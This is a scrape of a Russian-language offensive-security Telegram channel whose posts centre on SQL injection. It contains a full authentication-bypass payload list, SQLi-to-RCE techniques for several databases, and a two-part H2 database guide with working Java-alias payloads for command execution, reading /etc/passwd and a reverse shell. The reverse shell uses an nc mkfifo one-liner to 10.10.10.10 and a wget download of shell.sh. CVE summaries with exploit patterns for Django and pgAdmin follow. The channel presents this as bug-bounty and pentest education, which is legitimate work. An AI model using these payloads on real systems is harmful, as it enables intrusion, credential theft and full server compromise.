Похек
16.4K subscribers
2.08K photos
110 videos
243 files
3.06K links
All materials published on the channel are for educational and informational purposes only.

Мнение автора ≠ мнение компании, где работает автор

Чат: @poxek_chat

Реклама: @PoxekAds_bot или
https://telega.in/c/poxek

РКН: https://clck.ru/3FsVhp
Download Telegram
SQL injection auth bypass list

or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

#sqli
🐳6👍1💯1
📡SQL Encoder

Сервис, который поможет вам "зашифровать" вашу нагрузку сразу в несколько форматов:
SQL Encoder for MySQLSQL encoder for MySQL
🟩encoder for MySQL hex string
🟩encoder for Oracle
🟩encoder for MSSQL

Это сервис удобен, как быстрый обфускатор вашей нагрузки, если вы нашли или подозреваете, что на сайте есть SQLi, но либо фильтры не пускают, либо WAF, то вы можете видоизменить вашу нагрузку, перекодировав её в другой формат.

📌Совет:
Советую вам изучить статью от OWASP. В ней разбираются большинство классических методов обфускации SQL

📩 Канал 🔔
➡️ Сайт

#bugbounty #sqli #начинающим
Please open Telegram to view this post
VIEW IN TELEGRAM
SQLMap Cheat Sheet
#sqli #cheatsheet

Очередная, но максимальная полная методчика по использованию sqlmap, включая tamper'sы. Советую всем сохранить на всякий случай)

💻 Github репозиторий

🌚 @poxek
Please open Telegram to view this post
VIEW IN TELEGRAM
23
Интересная история про Bypassing Cloudflare WAF: XSS via SQL Injection
#cloudflare #WAF #XSS #SQLi #bypass

Дабы этот пост не стал очередным, что вы отправите себе в ЛС, кратко выдели в начале главные мысли:

1. При работе по анализу защищенности, будь то пентест, ред тим или бб, обязательно делайте скрины и записывайте ключевые находки сразу, пока вы сами не забыли, как поломали это.
2. Гуглить, а точнее использовать оператор after:YYYY-MM-DD. От себя добавлю, что не просто там мы, админы, делаем для вас контент. Если у вас много телеграм каналов в подписках и чатов, то обязательно используйте поиск по самой телеге. Я постоянно этим пользуюсь и порой это сильно сокращает время нахождения сплойтов или инфы о багах.
3. Комбинируйте атаки. Самый простой пример, что user enum вам поможет с Account Takeover'ом. Если у вас python стек и вы нашли XSS, то ищите SSTI и так далее.
4. Не ожидайте, что сервер всегда вам будет отвечать ошибкой или alert()'ом. Возможно вы пропустите слепые SQLi или XSS или какую-нибудь SSRF.
5. Самый главный совет от автора статьи, не блечьте. Вы ещё молодые и шутливые, а потом боком встанет ваши необдуманные и тем более если обдуманные действия. В РФ и в мире есть очень много багбаунти программ, на которых вы можете искать уязвимости)

А в целом статья про обход CF (ничего не обычного), затем раскрутка скули и xss. Как-то так)
➡️ Читать статью

🌚 @poxek
Please open Telegram to view this post
VIEW IN TELEGRAM
🌚75
userfuzz
#fuzzing #web #bugbounty #sqli #blindsqli

Недавно один индус выпустил классную тулзу для поиска blind sql injection и вполне успешно теперь получает хаи и криты на h1. Но я нашёл тулзу поинтереснее, с точки зрения фаззинга.
Представляю вашему вниманию тулзу, которая фаззит User-Agent , X-Forwarded-For and Referer на наличие скулей. Вместо тысячи слов, пару строк как установить и использовать:

Установка:
sudo pip install userefuzz


Использование:
# Передаём список урлов
userefuzz -l <LIST>


# Передаём 1 урл
userefuzz -u <URL>


# в пайплайне передаём
<STDIN LIST> | userefuzz


# изменяем кол-во потоков
userefuzz <LIST / URL> -w <WORKER COUNT>


# подключаем прокси, к примеру бурпсуютик
userefuzz <LIST/URL> -p <PROXY>


# Можете подсовывать свой пейлоад и свой тайминг для SLEEP()
userefuzz <LIST/URL> -i <CUSTOM SQLI PAYLOAD> -s <SLEEP COUNT IN THE PAYLOAD>


# Внедряем свой кастомный загаловок
userefuzz <LIST/URL> -ch <CUSTOM HEADER NAME>

# Внедряем несколько заголовков
userefuzz <LIST/URL> -ch <CUSTOM HEADER NAME|OTHER HEADERS>


# вывод в markdown формате (красивый и информативный)
userefuzz <LIST/URL> -o <OUTPUT FILE NAME WITHOUT EXT>


# Приятное удобство, что можно подключить уведомления через Telify
userefuzz <LIST / URL> -t


Как-то так. Пользуйтесь)


💻 Github repo

🌚 @poxek | 📹 YouTube | 🌚 Мерч Похек
Please open Telegram to view this post
VIEW IN TELEGRAM
1🔥34👍81😁1🌚1
Forwarded from hx0110
SQLi to RCE

На самом деле тема исполнения команд по средствам SQL инъекций сотни раз подвергалась обсуждениям, но думаю стоит собрать это все в одном месте). Техники брались в основном из статейки на medium и поста Intigriti в твитере (советую поглядеть)

Исполниться можно в контекстах разных баз данных:
1. MSSQL 💻
2. MySQL 😗
3. PostgreSQL 💻
4. Oracle 🤪
5. SQLite 🤝 (не нашел emoji :))

MSSQL: наверно самая известная техника среди пентестеров (sqli to rce) - это способ исполнения в MSSQL базах данных с использованием хранимой процедуры xp_cmdshell. Конечно, должны присутствовать необходимые привилегии, чтобы ее включить, так как по дефолту она выключена. После этого можно выполнять команды:

EXEC xp_cmdshell 'dir c:\';


MySQL: в этой субд исполниться можно за счет определяемых пользователем функций (UDF). Правда для этого необходимо загрузить и зарегистрировать библиотеку или она должна быть загружена администратором, после чего можно вызывать функции из этой библиотеки. Например:

SELECT sys_eval('whoami');


PostgreSQL: В постгресе есть несколько возможных подходов.
1 - Возможность подгрузки расширений. Можно использовать расширение по типу plpythonu для исполнения python когда прямо из SQL.
-- create extension
CREATE EXTENSION IF NOT EXISTS plpythonu;

-- define the malicious function
CREATE OR REPLACE FUNCTION exec_cmd(cmd text) RETURNS void AS $$
import os
os.system(cmd)
$$ LANGUAGE plpythonu;

-- execute command
SELECT exec_cmd('whoami');


2 - Загрузка функции напримую из libc например
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('whoami');


3- Команда PROGRAM

ORACLE: так как oracle имеет встроенный Java движок это позволяет создавать разработчикам хранимые процедуры. Злоумышленники тоже могут этим воспользоваться для создания своей вредоносной процедуры(подробнее см. статью на медиуме)

SQLite: в sqlite можно также пойти через подгрузку расширений, но эта возможность должна быть явна включена:
UNION SELECT 1,load_extension('\\example.com\mal_extension.so', 'MainFuncCall')

или например с помощью load_file() прочитать закрытые ключи SSH (этот подход можно применять и в других бдшках)


Если вдруг чего то не хватает, подмечайте, обязательно добавлю !)

#SQLi #RCE
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥19👍2
Гайд по пентесту СУБД H2. Первая часть
#H2 #Java #pentest #research #SQLi

ЧАСТЬ 1 - ЧАСТЬ 2

Родители, закройте детям глаза, дальше будет Java)

➡️Начнём с теории:
H2 — это легковесная, кроссплатформенная система управления реляционными базами данных с открытым исходным кодом, полностью написанная на Java. Она может работать как во встроенном режиме (embedded), так и в режиме клиент-сервер, поддерживает хранение данных в памяти (in-memory) и на диске, что делает её идеальным выбором для разработки, тестирования и небольших production-проектов.

Я думаю большинство с ней никогда не сталкивалось, вот и я вчера впервые с ней повстречался. В ходе ресерча ноликов ноликов в одном Java проекте, я дошёл до потенциальной SQLi и я решил сразу пойти покрутить SQLi > RCE. Попробовав дефолтные векторы из постгри (чисто на рефлексе), понял что оно не работает(

Пошёл читать доку и оказалось, что прямого вектора до RCE, как в популярных СУБД типа PostgreSQL или MySQL - нет. Пошёл читать доку и ...пригрустнул, т.к. судя по сайту, мне предстояла попа-боль и костыльные извращенства, что собственно и произошло.

Верификация наличия SQLi идёт по классике:
something' OR 1=1; --
# Получаем 200 OK

something' OR 1=2; --
# Получаем ошибку

На этом даже останавливаться не будем.

В чём основаная проблема? Нет явного фунционала для выполнения команд на системе. Поэтому давайте сами напишем себе функции для RCE))

🕺 Я нашёл 2 вектора, как можно выполнять RCE в этой СУБД:
1️⃣ Менее удобный вектор, но прямолинейный. Создаём функцию и вызываем её, заменяя какие-нибудь данные в таблице, которые мы видим на странице.
import java.io.IOException;

public class Main {

public static void main(String[] args) throws IOException {
// Вызываем метод shell_exec() и выводим результат в консоль
System.out.println(shell_exec());
}

static String shell_exec() throws java.io.IOException {
// Выполняем команду "id" и создаём Scanner для чтения её вывода

java.util.Scanner cmd_output = new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A"); // Устанавливаем разделитель так, чтобы Scanner читал весь ввод целиком

// Если есть данные в выводе команды, возвращаем их, иначе — пустую строку
return cmd_output.hasNext() ? cmd_output.next() : "";
}
}


Итоговая нагрузка будет выглядеть вот так:
something' OR 1=1; DROP ALIAS IF EXISTS exec_cmd; CREATE ALIAS exec_cmd AS 'String shell_exec() throws java.io.IOException {
java.util.Scanner cmd_output = new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\\\A");
return cmd_output.hasNext() ? cmd_output.next() : "";
}'; UPDATE comments SET comment = exec_cmd() WHERE id = 13c60101-8142-42df-bebd-fb5905673c41; --


И проверяем результаты на странице. Содержимое комментария с этим UUID должно было замениться на вывод команды id, но если что-то не сработало, то будет пустой комментарий. Почему может не сработать? Возможно урезанное окружение, а может права выставлены корректно и СУБД не может выполнять системные команды. Попробуйте другие команды, если вдруг не получилось.

🌚 @poxek | 🌚 Блог | 📺 YT | 📺 RT | 📺 VK | 🌚 Мерч
Please open Telegram to view this post
VIEW IN TELEGRAM
9👍1
Гайд по пентесту СУБД H2. Вторая часть
#H2 #Java #pentest #research #SQLi

ЧАСТЬ 1 - ЧАСТЬ 2

2️⃣ Удобный, но более жирный по коду вектор
Ещё в прошлом примере мы делали unalias на возможно существующую команду, на всякий случай. Теперь же мы создадим свой alias и будем его использовать.
   CREATE ALIAS EXEC AS
'String e(String cmd) throws java.io.IOException {
// Формируем массив аргументов для выполнения команды в bash:
String[] c = {"/bin/bash", "-c", cmd};

// Запускаем процесс с указанной командой
Process p = Runtime.getRuntime().exec(c);

// Получаем поток вывода (stdout) запущенного процесса
java.io.InputStream stdIn = p.getInputStream();
// Оборачиваем InputStream в InputStreamReader для чтения символов
java.io.InputStreamReader isr = new java.io.InputStreamReader(stdIn);
// Оборачиваем InputStreamReader в BufferedReader для построчного чтения
java.io.BufferedReader br = new java.io.BufferedReader(isr);

// Переменная для накопления всего вывода команды
String result = "";
// Временная переменная для чтения текущей строки
String line = "";

// Считываем строки из вывода процесса до тех пор, пока они есть
while ((line = br.readLine()) != null)
// Добавляем каждую строку к результату (без перевода строки)
result += line;

// Возвращаем весь накопленный вывод команды как одну строку
return result;
}';

По сути мы напрогали себе shell на java))

Дальше мы можем уже щеголять нашей оболочкой в запросах по полной.
something' CALL EXEC('cat /etc/passwd'); --


➡️Как получить reverse shell?
Тут уже по классике cmd inj)
# сначала пишем на rev shell в файл. Как пример:
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.10.10 9001 >/tmp/f" > shell.sh

Если не работает этот revshell, то попробуйте любой другой с сайта revshells.com
Далее поднимаем python3 http.server в папке, где хранится shell.sh

Далее идём снова в Repeater и скачиваем файл на атакуемую систему
CALL EXEC('wget http://10.10.10.10:8080/shell.sh -O /tmp/shell.sh');

Выдаём права
CALL EXEC('chmod +x /tmp/shell.sh');

Запускаем у себя лисенер, после на атакуемой тачке рев шелл
CALL EXEC('bash /tmp/shell.sh');


Проверяем консоль, должена была появится сессия. Дальше уже можете делать privesc по ситуации)

P.s. в 2019 году был репорт на скулю в H2 в dotCMS
https://www.sonarsource.com/blog/dotcms515-sqli-to-rce/

🌚 @poxek | 🌚 Блог | 📺 YT | 📺 RT | 📺 VK | 🌚 Мерч
Please open Telegram to view this post
VIEW IN TELEGRAM
9👍7
Ловите вкусные баги прошедшей недели
#CVE  #RCE #calibre #SQLi #NVIDIA #POS

➡️Цепочка SQLi в системе управления точками продаж ycf1998 money-pos (CVE-2025-63689, CVSS 10,0) — плохая фильтрация параметра orderby, используемого в SQL-запросах для сортировки данных. Злоумышленник без привилегий и без авторизации может внедрить в этот параметр произвольный SQL-код, что открывает двери для RCE, кражи, изменения или удаления БД, а также полной компрометации системы. Потенциально позволяет атакующему взять под полный контроль POS-устройства. Публичных PoC пока нет.

➡️calibre (CVE-2025-64486, CVSS 9,8) — критический баг в calibre версий 8.13.0 и ниже, связанный с отсутствием проверки имен файлов при обработке формата FB2 (FictionBook). Позволяет атакующему при помощи специально созданного FB2-файла записывать произвольные файлы в файловую систему, что может привести к выполнению произвольного кода с правами пользователя, под которым запущен calibre. Публичных PoC пока нет.

➡️RCE в Snipe-IT (CVE-2025-63601, CVSS 9,9) — уязвимость вызвана отсутствием надежной проверки содержимого и структуры загружаемых файлов резервных копий в Snipe-IT. Сервер неправильно обрабатывает архивы, позволяя внедрять и выполнять произвольные файлы и команды при их распаковке, что создает возможность для RCE с правами сервера и полной компрометации системы. Публичных PoC пока нет.

➡️Установщик NVIDIA NVApp для Windows (CVE-2025-23358, CVSS 8,2) — возникает из-за неправильного управления путями поиска исполняемых файлов и DLL. Позволяет локальному атакующему с низкими правами разместить вредоносный файл в каталоге, который загружается раньше легитимных компонентов, что приводит к выполнению произвольного кода с правами установщика и эскалации привилегий. Публичных PoC пока нет.

➡️WordPress-плагин Gravity Forms (CVE-2025-12352, CVSS 9,8) — критическая уязвимость, связанная с отсутствием проверки типа загружаемых файлов в функции copy_post_image(). Позволяет неавторизованному атакующему загрузить на сервер произвольные файлы, включая PHP-скрипты, что при включенной опции allow_url_fopen и активации формы создания постов с полем для файлов приводит к RCE. Есть PoC.

🌚 @poxek | 📲 MAX |🌚 Блог | 📺 YT | 📺 RT | 📺 VK | ❤️ Мерч
Please open Telegram to view this post
VIEW IN TELEGRAM
❤‍🔥9🔥3👍21
Django: критическая SQLi-уязвимость с обходом аутентификации
#django #sqli #CVE #python

CVE-2025-64459 - критическая SQL-инъекция в Django (CVSS 9.1), затрагивающая методы QuerySet.filter(), QuerySet.exclude(), QuerySet.get() и класс Q(). Позволяет удаленному не аутентифицированному атакующему получить админский доступ в обход аутентификации, эксфильтровать конфиденциальные данные и эскалировать привилегии.​

Имеет низкую сложность эксплуатации, не требует аутентификации и взаимодействия с пользователем.

Под угрозой находятся версии Django 5.2 < 5.2.8, Django 5.1 < 5.1.14, Django 4.2 < 4.2.26, ветка 6.0 (beta). Старые неподдерживаемые версии также могут быть уязвимы.

➡️Структура атаки

Уязвимость возникает при использовании dictionary expansion с пользовательским вводом. Для проведения атаки необходимо поместить нужные параметры в URL query string (GET-параметры) или POST-данные API-запросов, которые затем попадают в Django QuerySet методы через dictionary expansion.

Типичный уязвимый паттерн
filters = request.GET.dict()  # user-controlled data
users = User.objects.filter(**filters) # passes all params


Сценарии эксплуатации
Обход аутентификации - _connector=OR&is_superuser=True возвращает первого найденного суперпользователя, минуя проверку кредов
Эксфильтрация данных - _connector=OR&confidential=True дает доступ ко всем конфиденциальным документам​
Эскалация привилегий - _negated=True дает инверсию логики контроля доступа

➡️Защита и срочные действия

1. Обновиться до патченных версий (5.2.8, 5.1.14, 4.2.26)​
2. Проверить логи на _connector и _negated в запросах​
3. Аудит кода: grep -r "\.filter(\*\*" --include="*.py" .​
4. Никогда не передавать request.GET.dict() напрямую в QuerySet​
5. Использовать Django Forms для валидации​
6. Внедрить whitelisting параметров фильтрации​
7. Явное маппирование полей вместо dictionary expansion

🔗 Источник

🌚 @poxek | 📲 MAX |🌚 Блог | 📺 YT | 📺 RT | 📺 VK | ❤️ Мерч
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11❤‍🔥51
HTB Season Gacha | Gavel — Полный путь от SQLi до root
#htb #sqli #root #rce #lab

Машина Gavel оказалась весьма интересной и познавательной, но также она заставляет немного приложить усилий, терпения и логики. Не скажу, что у меня не было проблем с прохождением, но я думаю, что испытал внутреннее удовлетворение после прохождения, давайте приступим!

🔗Райтап

P.s. давно не было подобного контента. Интересно ли вам такое?

🌚 @poxek | 📲 MAX |🌚 Блог | 📺 YT | 📺 RT | 📺 VK | ❤️ Мерч
Please open Telegram to view this post
VIEW IN TELEGRAM
👍37❤‍🔥8👾21
ReDisclosure. Разбираем инъекции в полнотекстовый поиск на примере MyBB
#mybb #php #sqli #sast #waf

В течение мно­гих лет ата­ки с исполь­зовани­ем SQL-инъ­екций в основном сво­дились к попыт­кам нарушить син­таксис зап­росов. Одна­ко с раз­вити­ем инс­тру­мен­тов акцент смес­тился на соз­дание «кру­тых наг­рузок» и раз­бор пре­дуп­режде­ний SAST, которые мно­гие игно­риру­ют. Я же поп­робовал поис­кать воз­можность инъ­екции без экра­ниро­вания — с мыслью о том, что на это у SAST или WAF не будет пра­вил.

Так я нащупал новую тех­нику для внед­рения в регуляр­ные выраже­ния. Сна­чала я нем­ного рас­ска­жу о тра­дици­онных методах, которые были нам извес­тны рань­ше, затем перей­дем к моим наход­кам. В ходе тес­тирова­ния мне уда­лось вскрыть уяз­вимость в MyBB, которая поз­воляла прос­матри­вать наз­вания уда­лен­ных тем без аутен­тифика­ции.

🔓 Ксакеп

🌚 @poxek | 📲 MAX |🌚 Блог | 📺 YT | 📺 RT | 📺 VK | ❤️ Мерч
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥2
CVE-2025-13780 — критический RCE-баг pgAdmin 4
#CVE #RCE #pgAdmin #PostgreSQL #SQLi #PoC

Позволяет выполнять произвольные shell-команды на сервере через обход regex-валидации при восстановлении plain-text SQL-дампов.​

➡️Суть проблемы

Функция has_meta_commands() в pgAdmin использовала regex-паттерн (^|\\n)[ \\t]*\\ для блокировки опасных psql-метакоманд в загружаемых SQL-файлах:

\! — для shell-команд,
\copy ... PROGRAM — для запуска процессов,
\include — для включения файлов.

Проблема в том, что регулярное выражение ищет последовательность «начало строки или newline (\n) → опциональные пробелы/табы → backslash (\)», но не учитывает CR, carriage return (\r). Если поместить последовательность ‘\n\r\! команда’ в SQL-дамп, regex не сработает из-за символа \r между \n. А вот утилита psql проигнорирует CR и исполнит строку как валидную метакоманду.​

➡️Пример атаки

Атакующий создает вредоносный SQL-дамп, используя CRLF-последовательность для обхода валидации.

CREATE TABLE test (id int);
\n\r\! /bin/sh -c "команда"
INSERT INTO test VALUES (1);


Между \n (новая строка) и \ (начало команды) должен быть вставлен \r (carriage return), который делает паттерн невидимым для regex-фильтра pgAdmin.

Далее:
▪️Атакующий логинится в pgAdmin с низкими привилегиями.
▪️Через интерфейс pgAdmin загружает crafted SQL-файл в функцию Plain Text Restore.
▪️Функция has_meta_commands() проверяет файл regex-паттерном, не находит совпадений из-за CR-символа и пропускает файл как безопасный​.
▪️pgAdmin запускает psql для восстановления БД, передавая содержимое файла.
▪️psql интерпретирует \n\r\! как валидную метакоманду \!, игнорируя CR, и выполняет shell-команду с правами процесса pgAdmin на хосте.

По итогу атакующий получает RCE на сервере с правами, под которыми запущен pgAdmin, с возможностью чтения данных, изменения конфигурации и дальнейшего продвижения по сети.

В качестве решения в версии 9.11 валидация заменена на флаг --restrict при запуске psql. Он аппаратно блокирует метакоманды.

⚡️⚡️⚡️ Есть PoC

🌚 @poxek | 📲 MAX |🌚 Блог | 📺 YT | 📺 RT | 📺 VK | ❤️ Мерч
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6👍4❤‍🔥2